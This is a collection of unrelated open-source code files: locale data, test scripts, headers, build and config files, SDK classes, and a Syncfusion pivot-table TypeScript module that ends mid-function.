// moment.js language configuration // language : malayalam (ml) // author : Floyd Pink : https://github.com/floydpink (function (factory) { if (typeof define === 'function' && define.amd) { define(['moment'], factory); // AMD } else if (typeof exports === 'object') { module.exports = factory(require('../moment')); // Node } else { factory(window.moment); // Browser global } }(function (moment) { return moment.lang('ml', { months : 'ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ'.split("_"), monthsShort : 'ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.'.split("_"), weekdays : 'ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച'.split("_"), weekdaysShort : 'ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി'.split("_"), weekdaysMin : 'ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ'.split("_"), longDateFormat : { LT : "A h:mm -നു", L : "DD/MM/YYYY", LL : "D MMMM YYYY", LLL : "D MMMM YYYY, LT", LLLL : "dddd, D MMMM YYYY, LT" }, calendar : { sameDay : '[ഇന്ന്] LT', nextDay : '[നാളെ] LT', nextWeek : 'dddd, LT', lastDay : '[ഇന്നലെ] LT', lastWeek : '[കഴിഞ്ഞ] dddd, LT', sameElse : 'L' }, relativeTime : { future : "%s കഴിഞ്ഞ്", past : "%s മുൻപ്", s : "അൽപ നിമിഷങ്ങൾ", m : "ഒരു മിനിറ്റ്", mm : "%d മിനിറ്റ്", h : "ഒരു മണിക്കൂർ", hh : "%d മണിക്കൂർ", d : "ഒരു ദിവസം", dd : "%d ദിവസം", M : "ഒരു മാസം", MM : "%d മാസം", y : "ഒരു വർഷം", yy : "%d വർഷം" }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return "രാത്രി"; } else if (hour < 12) { return "രാവിലെ"; } else if (hour < 17) { return "ഉച്ച കഴിഞ്ഞ്"; } else if (hour < 20) { return "വൈകുന്നേരം"; } else { return "രാത്രി"; } } }); }));
{ "pile_set_name": "Github" }
<!doctype html> <head> <!-- jQuery packaging changed for 2.1.0, so try to load both paths, one will work. --> <script src="../../bower_components/jquery/dist/jquery.js"></script> <script src="../../bower_components/jquery/jquery.js"></script> <script src="../../bower_components/raphael/raphael-min.js"></script> <script src="../../morris.js"></script> <link rel="stylesheet" href="../../morris.css"> <style> body { padding: 0; margin: 0; background-color: white; } #chart { width: 500px; height: 300px; } </style> <script> function bridge(e) { window.alert(JSON.stringify(e)); } window.snapshot = function () { bridge({ fn: "snapshot" }); }; window.mousemove = function (x, y) { bridge({ fn: "mousemove", x: x, y: y }); }; </script> </head> <body> <div id="chart"></div> </body>
{ "pile_set_name": "Github" }
from __future__ import absolute_import from __future__ import unicode_literals import subprocess import testify as T from test.test_case_test import RegexMatcher from testify import exit def cmd_output(*cmd, **kwargs): proc = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, **kwargs ) stdout, stderr = proc.communicate() assert proc.returncode == exit.DISCOVERY_FAILED, (proc.returncode, stdout, stderr) return stdout.decode('UTF-8'), stderr.decode('UTF-8') class DiscoveryFailureTestCase(T.TestCase): def test_discover_test_with_broken_import(self): """Ensure that DiscoveryError is raised when a test which imports a non-existent module is discovered.""" stdout, stderr = cmd_output( 'python', '-m', 'testify.test_program', 'discovery_error', cwd='examples', ) T.assert_equal( stdout, RegexMatcher( r'test1\n' r'\.DISCOVERY FAILURE!\n' r'There was a problem importing one or more tests:\n\n' r' Traceback \(most recent call last\):\n' r' File "[^"]+", line \d+, in discover\n' r' submod = __import__\(module_name, fromlist=\[str\(\'__trash\'\)\]\)\n' r' File "[^"]+", line \d+, in <module>\n' r' import non_existent_module \# noqa: F401\n' r' (ModuleNotFoundError|ImportError): No module named \'?non_existent_module\'?\n' ), ) # TODO: fix this runpy warning if 'found in sys.modules' in stderr.splitlines()[0]: stderr = ''.join(stderr.splitlines(True)[2:]) T.assert_equal( stderr, RegexMatcher( r'Traceback \(most recent call last\):\n' r' File .+, line \d+, in discover\n' r" submod = __import__\(module_name, fromlist=\[str\(\'__trash\'\)\]\)\n" r' File .+, line \d+, in <module>\n' r' import non_existent_module \# noqa: F401\n' r"(ModuleNotFoundError|ImportError): No module named '?non_existent_module'?\n" ), ) class DiscoveryFailureUnknownErrorTestCase(T.TestCase): def test_discover_test_with_unknown_import_error(self): """Insure that DiscoveryError is raised when a test which raises an unusual exception upon import is discovered.""" stdout, stderr = cmd_output( 'python', '-m', 'testify.test_program', 'attribute_error', cwd='examples', ) T.assert_in('DISCOVERY FAILURE', stdout) # FIXME: let's not print the errror twice -- just on stderr T.assert_in('AttributeError: aaaaa!', stderr) T.assert_in('AttributeError: aaaaa!', stdout) if __name__ == '__main__': T.run() # vim: set ts=4 sts=4 sw=4 et:
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build linux // +build ppc64 ppc64le // +build !gccgo #include "textflag.h" // // System calls for ppc64, Linux // // Just jump to package syscall's implementation for all these functions. // The runtime may know about them. TEXT ·Syscall(SB),NOSPLIT,$0-56 BR syscall·Syscall(SB) TEXT ·Syscall6(SB),NOSPLIT,$0-80 BR syscall·Syscall6(SB) TEXT ·RawSyscall(SB),NOSPLIT,$0-56 BR syscall·RawSyscall(SB) TEXT ·RawSyscall6(SB),NOSPLIT,$0-80 BR syscall·RawSyscall6(SB)
{ "pile_set_name": "Github" }
/* * Copyright (c) 2008-2009 Atheros Communications Inc. * * Modified for iPXE by Scott K Logan <[email protected]> July 2011 * Original from Linux kernel 3.0.1 * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #ifndef ATH_REGISTERS_H #define ATH_REGISTERS_H FILE_LICENCE ( BSD2 ); #define AR_MIBC 0x0040 #define AR_MIBC_COW 0x00000001 #define AR_MIBC_FMC 0x00000002 #define AR_MIBC_CMC 0x00000004 #define AR_MIBC_MCS 0x00000008 /* * BSSID mask registers. See ath_hw_set_bssid_mask() * for detailed documentation about these registers. */ #define AR_BSSMSKL 0x80e0 #define AR_BSSMSKU 0x80e4 #define AR_TFCNT 0x80ec #define AR_RFCNT 0x80f0 #define AR_RCCNT 0x80f4 #define AR_CCCNT 0x80f8 #define AR_KEYTABLE_0 0x8800 #define AR_KEYTABLE(_n) (AR_KEYTABLE_0 + ((_n)*32)) #define AR_KEY_CACHE_SIZE 128 #define AR_RSVD_KEYTABLE_ENTRIES 4 #define AR_KEY_TYPE 0x00000007 #define AR_KEYTABLE_TYPE_40 0x00000000 #define AR_KEYTABLE_TYPE_104 0x00000001 #define AR_KEYTABLE_TYPE_128 0x00000003 #define AR_KEYTABLE_TYPE_TKIP 0x00000004 #define AR_KEYTABLE_TYPE_AES 0x00000005 #define AR_KEYTABLE_TYPE_CCM 0x00000006 #define AR_KEYTABLE_TYPE_CLR 0x00000007 #define AR_KEYTABLE_ANT 0x00000008 #define AR_KEYTABLE_VALID 0x00008000 #define AR_KEYTABLE_KEY0(_n) (AR_KEYTABLE(_n) + 0) #define AR_KEYTABLE_KEY1(_n) (AR_KEYTABLE(_n) + 4) #define AR_KEYTABLE_KEY2(_n) (AR_KEYTABLE(_n) + 8) #define AR_KEYTABLE_KEY3(_n) (AR_KEYTABLE(_n) + 12) #define AR_KEYTABLE_KEY4(_n) (AR_KEYTABLE(_n) + 16) #define AR_KEYTABLE_TYPE(_n) (AR_KEYTABLE(_n) + 20) #define AR_KEYTABLE_MAC0(_n) (AR_KEYTABLE(_n) + 24) #define AR_KEYTABLE_MAC1(_n) (AR_KEYTABLE(_n) + 28) #endif /* ATH_REGISTERS_H */
{ "pile_set_name": "Github" }
#ifndef __MATROXFB_TI3026_H__ #define __MATROXFB_TI3026_H__ #include "matroxfb_base.h" #ifdef CONFIG_FB_MATROX_MILLENIUM extern struct matrox_switch matrox_millennium; #endif #endif /* __MATROXFB_TI3026_H__ */
{ "pile_set_name": "Github" }
#ifndef COOLFluiD_Numerics_SubSystemCoupler_FluidSolidHeatPostVariableTransformerFVMCC_hh #define COOLFluiD_Numerics_SubSystemCoupler_FluidSolidHeatPostVariableTransformerFVMCC_hh ////////////////////////////////////////////////////////////////////// #include "PostVariableTransformer.hh" ////////////////////////////////////////////////////////////////////// namespace COOLFluiD { namespace Physics { namespace NavierStokes { class EulerVarSet; } } namespace Numerics { namespace SubSystemCoupler { ////////////////////////////////////////////////////////////////////// /** * This class represents a FluidSolidHeatPre transformer of variables * * @author Thomas Wuilbaut * */ class FluidSolidHeatPostVariableTransformerFVMCC : public PostVariableTransformer { public: /** * Default constructor without arguments */ FluidSolidHeatPostVariableTransformerFVMCC(const std::string& name); /** * Default destructor */ ~FluidSolidHeatPostVariableTransformerFVMCC(); /** * Configuration */ void configure ( Config::ConfigArgs& args ) { PostVariableTransformer::configure(args); } /** * Sets Up the object */ virtual void setup(); /** * Transform a vector into another one */ virtual RealVector* transform(const std::vector<GeoEntityIdx>& faces, const RealVector& coord, const RealVector& original, const RealVector& pastTransformedVector); /** * Transform a vector into another one (in the case of nodal values) */ virtual RealVector* transform(const std::vector<GeoEntityIdx>& faces, const RealVector& coord, const RealVector& currentState, const RealVector& original, const RealVector& pastTransformedVector) { return transform(faces, coord, original, pastTransformedVector); } /** * Return the size of the transformed vector */ CFuint getTransformedSize(const CFuint size) { cf_assert(size == 1); return 1; } private: /// corresponding diffusive variable set Common::SafePtr<Physics::NavierStokes::EulerVarSet> _varSet; }; // end of class FluidSolidHeatPostVariableTransformerFVMCC ////////////////////////////////////////////////////////////////////// } // namespace SubSystemCoupler } // namespace Physics } // namespace COOLFluiD ////////////////////////////////////////////////////////////////////// #endif // COOLFluiD_Numerics_SubSystemCoupler_FluidSolidHeatPostVariableTransformerFVMCC_hh
{ "pile_set_name": "Github" }
use crate::prelude::*; use crate::qs::utils::*; pub(crate) fn rect(vm: &mut VirtualMachine, args: PyFuncArgs) -> PyResult { arg_check!( vm, args, required = [(loc, None)]); let transform = args.kwargs.get("transform").map(|t| get_tranform_arg(t)).unwrap_or(Transform::IDENTITY); let z = args.kwargs.get("z").map(|z|to_i32(z)).unwrap_or(0); let color = args.kwargs.get("color").map(get_color_arg).unwrap_or(Color::RED); let coord = get_rect_arg(loc); let window = window_mut(vm); window.draw_ex(&coord, Col(color), transform, z); Ok(vm.get_none()) } pub(crate) fn circ(vm: &mut VirtualMachine, args: PyFuncArgs) -> PyResult { arg_check!( vm, args, required = [(loc, None), (radius, None)]); let transform = args.kwargs.get("transform").map(|t| get_tranform_arg(t)).unwrap_or(Transform::IDENTITY); let z = args.kwargs.get("z").map(|z|to_i32(z)).unwrap_or(0); let color = args.kwargs.get("color").map(get_color_arg).unwrap_or(Color::RED); let p0 = get_elements(loc); let r = radius; let (p0x, p0y) = (to_f32(p0.get(0).unwrap()), to_f32(p0.get(1).unwrap())); let r = to_f32(r); let circle = Circle::new((p0x, p0y), r); let window = window_mut(vm); window.draw_ex(&circle, Col(color), transform, z); Ok(vm.get_none()) } pub(crate) fn triangle(vm: &mut VirtualMachine, args: PyFuncArgs) -> PyResult { arg_check!( vm, args, required = [(loc, None)]); let transform = args.kwargs.get("transform").map(|t| get_tranform_arg(t)).unwrap_or(Transform::IDENTITY); let z = args.kwargs.get("z").map(|z|to_i32(z)).unwrap_or(0); let color = args.kwargs.get("color").map(get_color_arg).unwrap_or(Color::RED); let tri = get_triangle_arg(loc); let window = window_mut(vm); window.draw_ex(&tri, Col(color), transform, z); Ok(vm.get_none()) } pub(crate) fn line(vm: &mut VirtualMachine, args: PyFuncArgs) -> PyResult { arg_check!( vm, args, required = [(loc, None)]); let transform = args.kwargs.get("transform").map(|t| get_tranform_arg(t)).unwrap_or(Transform::IDENTITY); let z = args.kwargs.get("z").map(|z|to_i32(z)).unwrap_or(0); let color = args.kwargs.get("color").map(get_color_arg).unwrap_or(Color::RED); let thickness = args.kwargs.get("thickness").map(to_f32).unwrap_or(1.); let rect_loc = get_elements(loc); let (p0, p1) = ( get_elements(rect_loc.get(0).unwrap()), get_elements(rect_loc.get(1).unwrap()) ); let (p0x, p0y) = (to_f32(p0.get(0).unwrap()), to_f32(p0.get(1).unwrap())); let (p1x, p1y) = (to_f32(p1.get(0).unwrap()), to_f32(p1.get(1).unwrap())); let line = Line::new((p0x, p0y), (p1x, p1y)).with_thickness(thickness); let window = window_mut(vm); window.draw_ex(&line, Col(color), transform, z); Ok(vm.get_none()) }
{ "pile_set_name": "Github" }
'use strict'; var util = require('util'); var Transform = require('stream').Transform; function ctor(options, transform) { util.inherits(FirstChunk, Transform); if (typeof options === 'function') { transform = options; options = {}; } if (typeof transform !== 'function') { throw new Error('transform function required'); } function FirstChunk(options2) { if (!(this instanceof FirstChunk)) { return new FirstChunk(options2); } Transform.call(this, options2); this._firstChunk = true; this._transformCalled = false; this._minSize = options.minSize; } FirstChunk.prototype._transform = function (chunk, enc, cb) { this._enc = enc; if (this._firstChunk) { this._firstChunk = false; if (this._minSize == null) { transform.call(this, chunk, enc, cb); this._transformCalled = true; return; } this._buffer = chunk; cb(); return; } if (this._minSize == null) { this.push(chunk); cb(); return; } if (this._buffer.length < this._minSize) { this._buffer = Buffer.concat([this._buffer, chunk]); cb(); return; } if (this._buffer.length >= this._minSize) { transform.call(this, this._buffer.slice(), enc, function () { this.push(chunk); cb(); }.bind(this)); this._transformCalled = true; this._buffer = false; return; } this.push(chunk); cb(); }; FirstChunk.prototype._flush = function (cb) { if (!this._buffer) { cb(); return; } if (this._transformCalled) { this.push(this._buffer); cb(); } else { transform.call(this, this._buffer.slice(), this._enc, cb); } }; return FirstChunk; } module.exports = function () { return ctor.apply(ctor, arguments)(); }; module.exports.ctor = ctor;
{ "pile_set_name": "Github" }
// // ts/io_context.hpp // ~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2018 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef ASIO_TS_IO_CONTEXT_HPP #define ASIO_TS_IO_CONTEXT_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include "asio/io_context.hpp" #endif // ASIO_TS_IO_CONTEXT_HPP
{ "pile_set_name": "Github" }
// +build !linux /* Copyright 2016 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package procfs import ( "fmt" "syscall" ) type ProcFS struct{} func NewProcFS() ProcFSInterface { return &ProcFS{} } // GetFullContainerName gets the container name given the root process id of the container. func (pfs *ProcFS) GetFullContainerName(pid int) (string, error) { return "", fmt.Errorf("GetFullContainerName is unsupported in this build") } // Find process(es) using a regular expression and send a specified // signal to each process func PKill(name string, sig syscall.Signal) error { return fmt.Errorf("PKill is unsupported in this build") } // Find process(es) with a specified name (exact match) // and return their pid(s) func PidOf(name string) ([]int, error) { return []int{}, fmt.Errorf("PidOf is unsupported in this build") }
{ "pile_set_name": "Github" }
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build arm,openbsd package unix func setTimespec(sec, nsec int64) Timespec { return Timespec{Sec: sec, Nsec: int32(nsec)} } func setTimeval(sec, usec int64) Timeval { return Timeval{Sec: sec, Usec: int32(usec)} } func SetKevent(k *Kevent_t, fd, mode, flags int) { k.Ident = uint32(fd) k.Filter = int16(mode) k.Flags = uint16(flags) } func (iov *Iovec) SetLen(length int) { iov.Len = uint32(length) } func (msghdr *Msghdr) SetControllen(length int) { msghdr.Controllen = uint32(length) } func (cmsg *Cmsghdr) SetLen(length int) { cmsg.Len = uint32(length) }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2003, 2015, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package javax.security.auth.login; /** * Signals that an account was locked. * * <p> This exception may be thrown by a LoginModule if it * determines that authentication is being attempted on a * locked account. * * @since 1.5 */ public class AccountLockedException extends AccountException { private static final long serialVersionUID = 8280345554014066334L; /** * Constructs a AccountLockedException with no detail message. * A detail message is a String that describes this particular exception. */ public AccountLockedException() { super(); } /** * Constructs a AccountLockedException with the specified * detail message. A detail message is a String that describes * this particular exception. * * @param msg the detail message. */ public AccountLockedException(String msg) { super(msg); } }
{ "pile_set_name": "Github" }
title: 'SA14-030.commits.commit_all_modified'
{ "pile_set_name": "Github" }
etcd: image: vimagick/etcd-arm command: | -name pi2 -data-dir=/var/lib/etcd -listen-client-urls http://0.0.0.0:2379 -advertise-client-urls http://192.168.1.229:2379 -listen-peer-urls http://0.0.0.0:2380 -initial-advertise-peer-urls http://192.168.1.229:2380 -initial-cluster-token pi-cluster -initial-cluster pi0=http://192.168.1.228:2380,pi1=http://192.168.1.207:2380,pi2=http://192.168.1.229:2380 -initial-cluster-state new ports: - "2379:2379" - "2380:2380" volumes: - /var/lib/etcd restart: always
{ "pile_set_name": "Github" }
def runState[S, A]: State[S, A] => S => (A, S) = { case State(f) => s => f(s) }
{ "pile_set_name": "Github" }
--- github: rjaus email: [email protected] city: Melbourne country: AU region: Carlton name: Riley James --- Wifi + 25Mbps internet (NBN: http://www.nbnco.com.au/) Great area, near city. Can lend you a bike, and it's near a tram stop.
{ "pile_set_name": "Github" }
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the Source EULA. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ import { getPathFromAmdModule } from 'vs/base/common/amd'; interface IPaths { getAppDataPath(platform: string): string; getDefaultUserDataPath(platform: string): string; } const pathsPath = getPathFromAmdModule(require, 'paths'); const paths = require.__$__nodeRequire<IPaths>(pathsPath); export const getAppDataPath = paths.getAppDataPath; export const getDefaultUserDataPath = paths.getDefaultUserDataPath;
{ "pile_set_name": "Github" }
package com.baomidou.mybatisplus.test.h2.issues.genericid; import com.baomidou.mybatisplus.core.MybatisConfiguration; import com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor; import com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean; import org.apache.ibatis.session.ExecutorType; import org.apache.ibatis.session.SqlSessionFactory; import org.apache.ibatis.type.EnumOrdinalTypeHandler; import org.apache.ibatis.type.JdbcType; import org.mybatis.spring.annotation.MapperScan; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import javax.sql.DataSource; /** * config * * @author nieqiuqiu * @date 2019-12-20 */ @Configuration @MapperScan("com.baomidou.mybatisplus.test.h2.issues.genericid.mapper") public class MybatisPlusConfig { @Bean public SqlSessionFactory sqlSessionFactory(DataSource dataSource) throws Exception { MybatisSqlSessionFactoryBean sqlSessionFactory = new MybatisSqlSessionFactoryBean(); sqlSessionFactory.setDataSource(dataSource); MybatisConfiguration configuration = new MybatisConfiguration(); configuration.setJdbcTypeForNull(JdbcType.NULL); configuration.setMapUnderscoreToCamelCase(true); configuration.setDefaultExecutorType(ExecutorType.REUSE); configuration.setDefaultEnumTypeHandler(EnumOrdinalTypeHandler.class); sqlSessionFactory.setConfiguration(configuration); PaginationInterceptor pagination = new PaginationInterceptor(); sqlSessionFactory.setPlugins(pagination); return sqlSessionFactory.getObject(); } }
{ "pile_set_name": "Github" }
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\CatalogRule\Setup\Patch\Data; use Magento\Framework\Setup\ModuleDataSetupInterface; use Magento\Framework\Setup\Patch\DataPatchInterface; use Magento\Framework\Setup\Patch\PatchVersionInterface; /** * Class UpdateClassAliasesForCatalogRules * @package Magento\CatalogRule\Setup\Patch */ class UpdateClassAliasesForCatalogRules implements DataPatchInterface, PatchVersionInterface { /** * @var ModuleDataSetupInterface */ private $dataSetup; /** * UpdateClassAliasesForCatalogRules constructor. * @param ModuleDataSetupInterface $dataSetup */ public function __construct( ModuleDataSetupInterface $dataSetup ) { $this->dataSetup = $dataSetup; } /** * {@inheritdoc} */ public function apply() { $installer = $this->dataSetup->createMigrationSetup(); $installer->appendClassAliasReplace( 'catalogrule', 'conditions_serialized', \Magento\Framework\Module\Setup\Migration::ENTITY_TYPE_MODEL, \Magento\Framework\Module\Setup\Migration::FIELD_CONTENT_TYPE_SERIALIZED, ['rule_id'] ); $installer->appendClassAliasReplace( 'catalogrule', 'actions_serialized', \Magento\Framework\Module\Setup\Migration::ENTITY_TYPE_MODEL, \Magento\Framework\Module\Setup\Migration::FIELD_CONTENT_TYPE_SERIALIZED, ['rule_id'] ); $installer->doUpdateClassAliases(); } /** * {@inheritdoc} */ public static function getDependencies() { return []; } /** * {@inheritdoc} */ public static function getVersion() { return '2.0.0'; } /** * {@inheritdoc} */ public function getAliases() { return []; } }
{ "pile_set_name": "Github" }
{ "multipart": [ { "when": { "up": "true" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_post" } }, { "when": { "north": "low" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side", "uvlock": true } }, { "when": { "east": "low" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side", "y": 90, "uvlock": true } }, { "when": { "south": "low" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side", "y": 180, "uvlock": true } }, { "when": { "west": "low" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side", "y": 270, "uvlock": true } }, { "when": { "north": "tall" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side_tall", "uvlock": true } }, { "when": { "east": "tall" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side_tall", "y": 90, "uvlock": true } }, { "when": { "south": "tall" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side_tall", "y": 180, "uvlock": true } }, { "when": { "west": "tall" }, "apply": { "model": "techreborn:block/storage/titanium_storage_block_wall_side_tall", "y": 270, "uvlock": true } } ] }
{ "pile_set_name": "Github" }
package org.zstack.sdk; import java.util.HashMap; import java.util.Map; import org.zstack.sdk.*; public class DetachPolicyFromUserGroupAction extends AbstractAction { private static final HashMap<String, Parameter> parameterMap = new HashMap<>(); private static final HashMap<String, Parameter> nonAPIParameterMap = new HashMap<>(); public static class Result { public ErrorCode error; public org.zstack.sdk.DetachPolicyFromUserGroupResult value; public Result throwExceptionIfError() { if (error != null) { throw new ApiException( String.format("error[code: %s, description: %s, details: %s]", error.code, error.description, error.details) ); } return this; } } @Param(required = true, nonempty = false, nullElements = false, emptyString = true, noTrim = false) public java.lang.String policyUuid; @Param(required = true, nonempty = false, nullElements = false, emptyString = true, noTrim = false) public java.lang.String groupUuid; @Param(required = false) public java.util.List systemTags; @Param(required = false) public java.util.List userTags; @Param(required = false) public String sessionId; @Param(required = false) public String accessKeyId; @Param(required = false) public String accessKeySecret; @Param(required = false) public String requestIp; @NonAPIParam public long timeout = -1; @NonAPIParam public long pollingInterval = -1; private Result makeResult(ApiResult res) { Result ret = new Result(); if (res.error != null) { ret.error = res.error; return ret; } org.zstack.sdk.DetachPolicyFromUserGroupResult value = res.getResult(org.zstack.sdk.DetachPolicyFromUserGroupResult.class); ret.value = value == null ? new org.zstack.sdk.DetachPolicyFromUserGroupResult() : value; return ret; } public Result call() { ApiResult res = ZSClient.call(this); return makeResult(res); } public void call(final Completion<Result> completion) { ZSClient.call(this, new InternalCompletion() { @Override public void complete(ApiResult res) { completion.complete(makeResult(res)); } }); } protected Map<String, Parameter> getParameterMap() { return parameterMap; } protected Map<String, Parameter> getNonAPIParameterMap() { return nonAPIParameterMap; } protected RestInfo getRestInfo() { RestInfo info = new RestInfo(); info.httpMethod = "DELETE"; info.path = "/accounts/groups/{groupUuid}/policies/{policyUuid}"; info.needSession = true; info.needPoll = true; info.parameterName = ""; return info; } }
{ "pile_set_name": "Github" }
open module soat.vending.machine.gui { requires java.desktopa ; requires soat.vending.machine.model; requires transitive soat.core; exports fr.soat.vending.machine.model to another , again, ano; exports fr.soat.vending.machine.model.it.should.be.breaking.but.only.a.part to another , again, ano; exports fr.soat.vending.machine.model to another , again, ano, waht, another , again, ano, averyveryveryveryveryveryveryveryveryveryverylongname; opens fr.soat.vending.machine.model to another , again,ano ; opens fr.soat.vending.machine.model.it.should.be.breaking.but.only.a.part to another , again,ano ; opens fr.soat.vending.machine.model to another , again,ano,another , again,ano,another , again,ano,another , again,averyveryveryveryveryveryveryveryveryveryverylongname ; uses fr.soat.vendinga.machine.services.DrinksService ; provides model with another , again,ano ; provides fr.soat.vending.machine.model.it.should.be.breaking.but.only.a.part with another , again,ano ; provides model with another , again,ano,another , again,ano,another , again,ano,another , again,averyveryveryveryveryveryveryveryveryveryverylongname ; }
{ "pile_set_name": "Github" }
import React from 'react'; import { styles } from '../helpers'; import { TextInput } from 'react-native'; export default function SecureTextEntry() { return ( <TextInput defaultValue="abc" numberOfLines={2} secureTextEntry={true} style={styles.textinput} /> ); }
{ "pile_set_name": "Github" }
import { PivotCommon } from '../base/pivot-common'; import * as events from '../../common/base/constant'; import { IFieldOptions, IField } from '../../base/engine'; import { SummaryTypes } from '../../base/types'; import { FieldDroppedEventArgs, FieldDropEventArgs } from '../base/interface'; import { OlapEngine, IOlapField } from '../../base/olap/engine'; import { isBlazor } from '@syncfusion/ej2-base'; import { PivotButton } from '../actions/pivot-button'; import { PivotUtil } from '../../base/util'; import { PivotView } from '../../pivotview'; import { PivotFieldList } from '../../pivotfieldlist'; /** * `DataSourceUpdate` module is used to update the dataSource. */ /** @hidden */ export class DataSourceUpdate { public parent: PivotCommon; /** @hidden */ public btnElement: HTMLElement; /** @hidden */ /* tslint:disable-next-line */ public control: any; /** @hidden */ public pivotButton: PivotButton; /** * Constructor for the dialog action. * @hidden */ constructor(parent?: PivotCommon) { this.parent = parent; } /** * Updates the dataSource by adding the given field along with field dropped position to the dataSource. * @param {string} fieldName - Defines dropped field name to update dataSource. * @param {string} droppedClass - Defines dropped field axis name to update dataSource. * @param {number} fieldCaption - Defines dropped position to the axis based on field position. * @method updateDataSource * @return {void} * @hidden */ public updateDataSource(fieldName: string, droppedClass: string, droppedPosition: number): void { let dataSourceItem: IFieldOptions; let draggedClass: string; let row: IFieldOptions[] = this.parent.dataSourceSettings.rows; let column: IFieldOptions[] = this.parent.dataSourceSettings.columns; let value: IFieldOptions[] = this.parent.dataSourceSettings.values; let filter: IFieldOptions[] = this.parent.dataSourceSettings.filters; let field: IFieldOptions[][] = [row, column, value, filter]; for (let len: number = 0, lnt: number = field.length; len < lnt; len++) { if (field[len]) { for (let i: number = 0, n: number = field[len].length; i < n; i++) { if (field[len][i].name === fieldName || (this.parent.dataType === 'olap' && field[len][i].name.toLowerCase() === '[measures]' && field[len][i].name.toLowerCase() === fieldName)) { draggedClass = len === 0 ? 'rows' : len === 1 ? 'columns' : len === 2 ? 'values' : 'filters'; } if (!draggedClass) { draggedClass = 'fieldList'; } } } } let eventdrop: FieldDropEventArgs = { fieldName: fieldName, dropField: PivotUtil.getFieldInfo(fieldName, this.control).fieldItem, dataSourceSettings: PivotUtil.getClonedDataSourceSettings(this.parent.dataSourceSettings), dropAxis: droppedClass, dropPosition: droppedPosition, draggedAxis: draggedClass, cancel: false }; let control: PivotView | PivotFieldList = this.control.getModuleName() === 'pivotfieldlist' && this.control.isPopupView ? this.control.pivotGridModule : this.control; control.trigger(events.fieldDrop, eventdrop, (observedArgs: FieldDropEventArgs) => { if (!observedArgs.cancel) { droppedClass = observedArgs.dropAxis; droppedPosition = observedArgs.dropPosition; fieldName = observedArgs.dropField ? observedArgs.dropField.name : 